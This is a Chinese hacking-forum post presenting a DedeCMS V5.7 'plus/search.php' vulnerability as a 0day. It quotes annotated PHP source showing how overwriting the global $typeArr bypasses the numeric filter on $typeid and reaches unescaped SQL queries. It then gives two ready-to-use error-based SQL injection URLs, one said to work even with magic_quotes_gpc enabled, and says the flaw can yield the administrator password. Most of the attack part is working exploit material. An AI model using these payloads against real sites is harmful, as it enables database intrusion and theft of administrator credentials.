微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
Hackme论坛原创 转载请附带原文链接
作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
算了不公开了,不能糟蹋0day了.
传送门 DedeCmS V57 plus/search.php 文件SQL注射0day漏洞
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
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Hackme论坛原创 转载请附带原文链接
作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
- require_once(dirname(__FILE__).”/../include/common.inc.php”);require_once(DEDEINC.”/arc.searchview.class.php”);$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;if(!isset($orderby)) $orderby=”;else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);if(!isset($searchtype)) $searchtype = ‘titlekeyword’;else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);if(!isset($keyword)){ if(!isset($q)) $q = ”; $keyword=$q;}$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));//查找栏目信息if(empty($typeid)){ $typenameCacheFile = DEDEDATA.’/cache/typename.inc’; if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) ) { $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’); fwrite($fp, “<”.”?php/r/n”); $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”); $dsql->Execute(); while($row = $dsql->GetArray()) { fwrite($fp, “/$typeArr[{$row[\'id\']}] = ‘{$row[\'typename\']}’;/r/n”); } fwrite($fp, ‘?’.’>’); fclose($fp); } //引入栏目缓存并看关键字是否有相关栏目内容 require_once($typenameCacheFile);//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个// if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过 if($keyword != $keywordn) { $keyword = $keywordn; <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设 break; } } }}
然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$this->TypeLink = new TypeLink($typeid);
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了
… )直接带入了sql语句.
- class TypeLink{ var $typeDir; var $dsql; var $TypeID; var $baseDir; var $modDir; var $indexUrl; var $indexName; var $TypeInfos; var $SplitSymbol; var $valuePosition; var $valuePositionName; var $OptionArrayList; //构造函数/////// //php5构造函数 function __construct($typeid) { $this->indexUrl = $GLOBALS[\'cfg_basehost\'].$GLOBALS[\'cfg_indexurl\']; $this->indexName = $GLOBALS[\'cfg_indexname\']; $this->baseDir = $GLOBALS[\'cfg_basedir\']; $this->modDir = $GLOBALS[\'cfg_templets_dir\']; $this->SplitSymbol = $GLOBALS[\'cfg_list_symbol\']; $this->dsql = $GLOBALS[\'dsql\']; $this->TypeID = $typeid; $this->valuePosition = ”; $this->valuePositionName = ”; $this->typeDir = ”; $this->OptionArrayList = ”; //载入类目信息 <font color=”Red”>$query = “SELECT tp.*,ch.typename asctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join`#@__channeltype` ch on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿 if($typeid > 0) { $this->TypeInfos = $this->dsql->GetOne($query);
利用代码一 需要 即使magic_quotes_gpc = Off
本帖隐藏的内容
http://www.hackme.info/plus/search.php?typeArr[2%27%20and%20@%60/%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
这只是其中一个利用代码… Search 类的构造函数再往下
- ……省略$this->TypeID = $typeid;……省略if($this->TypeID==”0″){ $this->ChannelTypeid=1; }else{ $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲//现在不鸡肋了吧亲… $this->ChannelTypeid=$row[\'channeltype\']; }
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
本帖隐藏的内容
http://www.hackme.info/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站.
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原文地址:http://bluereader.org/article/30418834
